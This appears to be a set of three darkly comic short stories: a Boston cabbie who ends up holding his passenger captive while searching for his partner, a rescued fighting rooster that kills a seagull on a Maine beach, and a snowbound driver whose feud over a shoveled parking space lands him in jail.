We are driving up and down a bunch of main streets with bars and fast food joints, but the restaurants are closed and the bars are closing; metal gates are being dragged over doorways. This is Boston, and in a few minutes nothing will be open. She could be a hundred miles away. She could have found a cab, or hitched a ride, or gotten on a bus, or found a friend, or called someone to pick her up. She could have done anything in that much time, it’s a goddamned city! Louie pulls up to a bar, hops out of the cab, goes inside for a minute, comes back out and continues on, he’s leaving the motor running and I’m too chicken-shit to drive away. All I have to do is just drive away, drive downtown or to a police station or even a hotel and just step out of the car and leave it, he’d never find me, he doesn’t even have my name. What this guy must think of me – a prisoner so chicken, so ineffectual that you don’t even have to guard him, point a gun at him, even warn him not to run away. Surprised he doesn’t give me a loaded gun to hold for safekeeping, so that I can hand it to him real fast when he finally decides to shoot me. Shit shit shit shit shit….

Down a long dark street is a small bar, its neon window signs are dark and someone in a Red Sox jacket is lowering a metal screen over the front door. Louie stops, cranks open his driver-side window, jams part of his torso outside and yells “McGuire” in a voice too loud for 1:00 am. “You seen Lettie tonight?”

McGuire is holding a cigarette in his mouth, his hands struggling with a padlock, he is down on one knee; the smoke is curling around his gaunt gray, pock-marked face. He turns over his shoulder, eyes squinted. “That you, Big Looo?”

“Yeah, sure whoyathink?”

“She came in late, maybe midnight. Bummed a quarter to make a call. Then bummed another quarter. Then she got Harry from the MTA to buy her a beer.” He rattled the padlock to loosen the hasp. “Imported no less,” he added, to no one in particular.

“So where is she now?” Lou’s voice was almost a shout, I couldn’t understand why someone didn’t open a window from one of the houses and tell him to shut up. Maybe they were used to it in that neighborhood.

McGuire turned back to the lock and gave it a hard shake. “Fuckin’ rusty piece of fuckinshit thing,” he observed in a mutter. He stood up and turned around. “How the hell do I know? One minute she’s drinking a beer, next minute I turn around and she ain’t there no more. It’s not like she checks in with me, ya know.” He paused, voice lowering “She back doing that shit again, Lou?”

Louie sounded tired. “I dunno. I don’t think so. Maybe. Who the hell knows. I gotta find her.”

McGuire came down the street until he was a few yards from the car. “Look,” he said, “I’d tell ya if I knew but I don’t know shit.” He held out his arms, palms up.

“Yeah, thanks, Mac.” Lou cranked up the window and started to drive slowly down the block. Nothing, no light or glow marred the blackness. The rain now gently tapped off the cab roof, just below our awareness.

“Louie, you have a lot on your mind I see. Won’t you please just drop me off somewhere?” I had a moment of panic, I did not want to repeat my address, although hours ago I had given it to him. “It’s too far to my house, I’m exhausted, just drop me off at the Sheraton in Back Bay, I’ll stay in town tonight. I’m beat.”

The cab stopped and Louie turned almost all the around to look at me. He looked a long time through the opening that separated passenger and driver. “Holy motheraGod,” he sighed. “I fuckin’ forgot you were there. Now, what the fuck am I gonna do with YOU?”

I didn’t like the question.

* * * * * * * * *

Scotchie didn’t like his new guest very much. He also did not like the fact that his guest was tied up, his arms wrapped behind him and lashed to the back of the big wooden chair with all that reinforced packing tape. It was one thing to babysit Lettie, and since she was a friend—sort of – he often watched her for Lou, and they played pinochle and could kibbitz the night away.

At least he had stopped twisting his arms behind him. The thin reinforcing fibers that threaded through the packing tape must have hurt like hell, and there were a few rivulets of blood trickling down the guy’s fingers. Even now, after Scotchie had spilled three glasses of water over the guy’s hands, the blood smears remained on his wrists, on the chair and on the floor underneath.

After the first day, Lou had put a gag in the guy’s mouth. Not that anyone would hear the yells, which became apparent to the guy after the first couple of hours. It just was that he wouldn’t shut up. Always arguing, explaining he didn’t know anything, then once in a while just sort of weeping and crying like some pussy. Scotchie didn’t like this guy at all so the fact that Lou probably would end up whacking him didn’t much bother Scotchie, who also was not the one to ask too many question. Nope, wouldn’t bother him one bit. He decided to eat the rest of the asshole’s pizza after all, and he sat at the table chewing the congealed cheese and washing it down with Dewars.

Meanwhile, the suit is now babbling out loud to himself: “This idiot’s going to kill me! I cannot believe it! How did this happen to me? I just took a cab! A goddamned taxi! Now I’m taped to some chair. Who would have thought that tape could be so sharp. My arms are numb, I don’t get enough to eat or drink, my piss is bright yellow and I’m going to die a prisoner in a store fifteen minutes from my office! Who ever heard of such a fuckin’ crazy fucked up thing? Crap crap car, crapshit gotta get out. No sense talking to Lou. Gotta talk to the drunk, but he’s so sauced that you have to catch him first thing when he wakes up, and with this goddamned handkerchief taped into my mouth I can’t even do that. What is today, anyway? Has it been three days? Is that even possible? They’ll miss me in the office but, so what? There’s no way anyone can find me. Except maybe the cab company but who knows to ask? I’m so scared I’d even pray — if I thought it might do even the slightest bit of good. Maybe he’ll let me go. But I don’t know who he is, where is this place, who he knows. Then why does he keep me? Why doesn’t he just end this? Who can figure out a crazy guy like this? But one thing’s for sure, next free moment I am unstrapped to take a dump I’m gonna run for it. Nothing can be worse than this. This idiot’s going to kill me….”

Lou is pulling his cab into his alley and he’s thinking the guy must be getting desperate. It’s four days and he’s had lots of time to think. None of those thoughts could have been reassuring.

And the truth of the matter is, since he’s got him tied up in there, Lou is thinking that now there is no way he can let him go. Before was just bullshit but now it’s a serious thing. Why did I even tie him up in the first place, Lou is thinking. It was really dumb, and I was tired and my head had started to hurt again from whatever Lettie must have put in my drink. In fact, it still hurts and it doesn’t seem to be getting any better.

* * * * * * * *

She put down the newspaper and shook her head slowly, a gesture meant only for herself. The early sunlight cut across her lap and warmed her hands. The evening had been almost chilly and the blue veins in her arms pulsed lightly but visibly under her dry skin.

“Stupid guy. Wrong guy, wrong place,” she muttered. Her words got lost in the vague clamor of the ocean outside.

Now she could leave the Cape; the police had traced the cab and Lou was in jail and not likely to come out any time soon. She felt the hot bolt course across her chest, knocking the Herald to the floor along with the needle that had rested on her lap.

A voice came through the door: “Hey, girl. You seen the TV? Ain’t that your old man they got in jail up in Boston for offing some suit?”

Her lips started to answer yes but the sound eluded her, and Lettie went to sleep.

It was one of those gray-ish beach days for which the coast of Maine was rightly famous; ashen clouds of modest threat of rain playing hide-and-seek with hazy sun. The beach, growing larger with the receding tide, was washed with the kind of indifferent low rolling waves that told you the storm was perhaps lurking somewhere over the horizon, but was not imminent. Daunted by the prospect of a less than prime beach experience, it seemed that the summer vacationers had used the day to visit the discount outlets in nearby Freeport; the sands were sparsely sprinkled with chairs and towels, allowing the seagulls to descend in unusually large numbers, strutting from site to site, pecking at bags and coolers in search of food.

Sitting in my beach chair, trying to finish my summer book that had proven too challenging for sunny days and beers on the deck, I scanned each of the few new arrivals with indifference. Until the blonde in the deeply slit, long blue-patterned skirt arrived carrying the red chicken.

* * * * * * *

Carlos was feeling pretty good about his boy. Through the haze of cigar smoke and the encouragements delivered in curt and angry bursts, his animal had been doing well. Very well indeed. The razors strapped to his scarred legs had already split open the dark brown contender, and had neatly decapitated the one with the blueish feathers; some of the guys in the front row had to wipe the blood spray off their faces, and one was so drenched as to allow the finger-painting of a modest beard and pencil mustache to the delighted howls of the others. The next chicken was a wire-y little creature and, although looks could be deceiving, Carlos was optimistic; the Slasher had himself suffered only a nick on one wing and wings weren’t important in any event; it was all about the leg action, wasn’t it?

* * * * * * *

She was mildly tanned, but not roasted like some of the other blondes of August. From a few dozen yards away it was hard to gauge her age; surely not a teen, surely without the globular thighs a woman earned through the accumulation of years. But my interest, for once, was not for the woman but for what she was carrying. I could not tell you if she was plain, attractive or repulsive. All I can tell you is everything about her chicken. She placed the animal gently, with two hands, into a large straw basket and placed a white towel over the top. She spread out a small blanket and unfolded a portable beach chair, one of the old-fashioned kind with the aluminum frame and webbed plastic woven seat and backrest. She bent down to the basket again, produced the seemingly calm chicken and stood it on the top of the back rail of the chair. She delicately held her hands on either side of the fowl until assured that it had found its balance, and then sat down on her blanket and dug out some magazines. With what I would swear was a stack of People, she transferred to the chair, the chicken standing over her left shoulder. I could also believe that the chicken was leaning forward, reading along.

Hope the thing doesn’t decide to lay an egg right now, I thought. It is a long way down from its perch to the sand. Question: if you drop a fresh egg from a height of three feet onto soft sand will it break? Second question: if the sand is really hot, will it poach?

* * * * * * * *

There was so much noise that no one at first heard the footsteps. By the time Carlos saw the policemen, it was too late. He was promptly cuffed, and Slasher was scooped, carefully to avoid the razors. His wad of tens and twenties were seized from his fist, presumably as evidence although based on history the money would be applied to the purchase of scotch and cigars for the after-hours club the cops frequented down by the Saco River….

* * * * * * * *

The blonde must have decide to try the water, which was usually deceptively warm even though it was a beach in Maine; the curve of the Gulf Stream carrying a faint memory of the Caribbean gently Northward to the pine forests. She glanced backwards; the chicken was observing the fishing boats far offshore, not particular perturbed and, being flightless, not much of a mind to try to soar along with the wheeling gulls and the darting swifts and occasional plover. With the confidence of a pet owner with intimate knowledge of her animal, she turned her back to her chair and trekked down beach in search of the now-rapidly-receding ocean.

I do not know how intelligent sea-gulls are as a group, but I surely can tell you about one member of the cohort who will always live in my memory as a particularly stupid example. This chicken on the chair was not cooked as a roast. This chicken on the chair was not layered into a roll with mayo and a leaf of lettuce. This chicken was not buffaloed, saute-ed, fried, steamed, diced, sauced or otherwise transformed into a gull-worthy meal. This chicken was sitting there, soothed by the distant sound of surf, minding its own business, as peaceful as any bird could be. So why the gull decided to swoop down and, presumably, try his hand at grabbing a beak-full is a mystery I will never solve. The gull struck the chicken somewhere around neck or head, knocking it off its perch. A rolling bundle of grey and red feathers rolled a yard or two down the beach, all in a tangle. Emanating from this tangle was a mix of caws and hither-to unheard gutturals that sounded much like a muffled roar of rage.

The startled gull emerged for a moment, wobbling with surprise, and began to deploy its wings, having concluded that this was not a chicken cutlet moment, when the red chicken swiped out with one claw and neatly popped out the gull’s left eye. I can now attest that yes, the blood of a seagull is indeed red. A weak caw was the last thing that gull had to say to the world, as the chicken then mounted the gull’s back and began a systematic slashing attack with beak and claws. In a matter of a few seconds, the gull’s head took another roll down the beach sand, only this time it left its body behind. Red specks populated the slope, a larger red pool began to saturate the ground just in front of the blonde’s beach blanket.

The chicken calmly hopped into the basket and pulled the white blanket up over the top with its beak. The basket rustled for a moment and then was still.

Someone must have called the police, although I am not sure why. A small circle surrounded the officer, whose bicycle was left propped against the fence at the entrance ramp; he had trudged down the beach in his ungainly boots with grim purpose to observe the carnage.

The blonde was holding the red chicken and gently stroking its sides with measured care.

“No, he’s not at all vicious any more. I was in the water, maybe someone else saw what happened. But I got him at animal rescue in Portland. He was pretty beaten up when I got him. Someone said he had been kept by some sleazeball for cock-fighting. I had come in for a kitten but my heart just went out to this little guy.” She looked fondly down at her pet, then looked up at the policeman with a winning smile. Her eyes were blue. She received no criminal citation. The policeman buried the gull, in two parts, somewhere down the strand near where the rocky cliff began.

* * * * * * * *

Carlos told the judge that cock-fighting was a recognized sport in his homeland. The judge told Carlos that a six month jail term was a recognized cock-fighting punishment in the Great State of Maine. In his cell, Carlos sometimes thought of Slasher; when he got out he would need to find a bird as gifted if he was to rebuild his bankroll…

The snows were heavy last year. They came one after the other. Before the roads could be cleared properly, there was another snowfall, and not just a dusting. Each time it snowed, the plows and pick-ups, blades down on the ground and bouncing off the pavement, leaving slick islands of ice and creating an occasional shower of small sparks as metal hit the surface of the road, would go up and down the streets, packing walls of snow against the doors of the parked cars. People were asked to move their cars, but by that time they were entombed and, where would they be driven even if liberated?

Intrepid souls would dig their cars out, sweating in the freezing winds. First, hack the icy wall away, heavy with water and packed by the plows flush into the side of each parked vehicle. Then start digging a path outward, the way the car is pointed. Then realize you will need to back up to maneuver, so dig out the rear end. Watch the circling snow plows take another run down your street, returning a portion of what you have thrown out onto the street into another, although lower, wall of ice which must be chipped down and shoveled away.

Then, underneath the car. That is where the wheels are, yes? As you go back and forth, you will be driving over the snow under the car, blown there as deep as on the street by the currents of wind. Reach down with your shovel, bend down to see, fill the bowl of the shovel with a layer of snow, not too high or it will dump itself out on attempted extraction, draw the handle evenly towards you, gently tip the shovel upwards to clear to curb or pull it straight out into the line of traffic if you are on the other side, take care not to back into a gently skidding driver coming down the narrow street, deposit the snow somewhere that does not block the street, the sidewalk, the areas you have cleared, the areas others have cleared (now where would that be? the car trunk is beginning to look attractive…), and repeat. And repeat. And, well you know….

Your car is free. The snow plow is not in sight. It is time to pull out of your parking space. You turn the key (should have tried that earlier) but are relieved to hear the engine turn over, and you look out your window—white-out! Have to scape the snow off. Try the wipers? Some more light comes into the car but it is still blurry, there seems to be some layer of ice on top of the glass. Out with the ice scraper, a tedious job, you cannot reach the middle of the front window but it looks good enough, forget the rear window you have mirrors. There, close enough.
From down the street you hear a dull grumble, a sharp scrape. The plow is coming back. Not enough time to pull out of the space. Bold protective action is required. You quickly exit your car, and stand in the street about a foot into the road alongside your car. It is the game of chicken. The plow drivers, you have heard on the radio, have been working for 16 straight hours. They are no doubt pretty tired. They are no doubt not in love with pedestrians in the street. And is that a sheet of icy snow on the windshield of that plow? Surely he will not run you over. Surely he will swerve or pick up his blade. Surely he can see you, after all you are wearing your big fluffy quilted long-coat of a vivid snow-white hue – whoops, that is not so good is it? – surely he would not dare pack snow up against your car yet again, this time with you in the middle of the ice wall.

He swerves, leaving a low curl of snow in an arc around you and your car. As he rumbles past, is that a jaunty wave he has given you? Or perhaps an obscene gesture? He is a city employee, a public servant, he works for me, surely he would not do that – would he? Or perhaps he is a contracted person, some drunken pick-up truck driver, have you risked your actual life on the chance that some random, exhausted, snow-blinded, not-even-public-servant would actually not run you over? Well, seems you have.

But you won, yes? Who cares? You won! Hah. You say “hah” to the plow and to the world. Back in your car, now slightly warmed by the running engine. You can see through your almost clear front window. You are good to go. Ease into reverse, get a little room, back up, stop, Quick shift into drive, or is it low gear? Your car is not made in the United States, there is no gear marked low. There are gears marked S and R. What IS that, oh why did you not read the manual. To heck with S and R, jam it into drive again, that’s it, the Tesla in front of you will not show any damage from that last gentle tap of your bumper on its fender and you can clean up the glass later, back and forth you rock, wearing down the snow and ice, one last lurch over the lip of snow where the ice wall used to reside and you are out, you are on the street, you are clear of snow and vehicles front and back, you can go on your way, you can try your GPS to see if it is working, you can OH MY GOD someone is going to come along and park in my big shoveled space right in front of my house and when I come home I will not have a place to park and I will be driving around the City until 2 in the morning where I will find a parking space in some sleazy corner of town and they will find my mugged body the next morning frozen into a snow drift like that character in Giants in the Earth and all because I did not protect my parking space.

So now you are parked in the middle of street and you do not care. You take your keys, race into your building, throw open your condo door, grab a kitchen chair ($475 from Roche Bobois but who cares about money at a time like this), you ignore the beeping horns from the small line of cars behind you as you plant that chair in the dead center of your parking space. There! It is the code of the city; that space is yours until the big thaw.

Just to be sure, you take out one of your business cards. You have no tape but you tuck it securely into a notch between the seat and the frame so the whole world can know that you are — well, you. Off you drive.

You drive around a bit. You realize that you really did not have anywhere to go, you stocked up on foods prior to the snow fall as if you lived in Siberia, you could feed an army for a month just out of your pantry without reliance on refrigerators or stoves, both of which are liable to fail in blizzards. You look at all the cars, plowed in themselves. You look with no pity at the few others digging out their cars—hah, you are late to the party, you think. You pass and cut off a couple of plows – two can play this game! You cruise past your local pub and think, I would love a beer but of course there is no place to park, I might go back to my space and then walk over for a brewski. Yeah, that’s a great idea. That’s what I’ll do!

You swing around the block, approach your house, and see the Volvo parked in your spot. You stop. You stare. You look around but there is no one. You try the door but it is locked. Your chair, the one that matches your set and that is no longer manufactured, is no where to be seen. Incredulity turns to cold hatred. You look at the Volvo. You look at its tires. You remember the carving knife Uncle Louis gave you a couple of Christmases ago.

* * * * * * * * * * *

People in the City Jail are really not all that bad. At least, you did not meet any really dangerous people. The drunks were, well, drunk. The guy who slugged the plow driver was a personal hero to you. The male prostitute was, well, strange but chacun a son gout. One fellow had micturated in an alley at the wrong time—why is there always a cop there when you don’t need one. Seems the mayor was serious when he announced that the city would no longer honor the local custom of saving parking spaces in public thoroughfares. Seems Mr. Duffy, the Volvo guy, was fond of those two tires you “altered” and not at all sympathetic to your explanation, seeing as how he had been excluded from his own dug-out space around the block (at least he got his kitchen stool back). And who knew that Duffy’s brother was the clerk of courts….

I am out now, of course. It was only some money and thirty days, during which I had some time to catch up on my People magazines and also to write down these my impressions of the moment. The suggestion of the judge that I invest in an anger management program has not met with favor in my own eyes. In fact if I ever come across that mothering son of a bitch on a dark night I am going to take a crowbar and bash his friggin’ — uh, well, never mind about that.

I am considering moving to Miami. I know it does not snow in Miami. I am not stupid, you know. Miami is South of here and it does not snow. If I do it, I will be sure to drop you a card with my new address….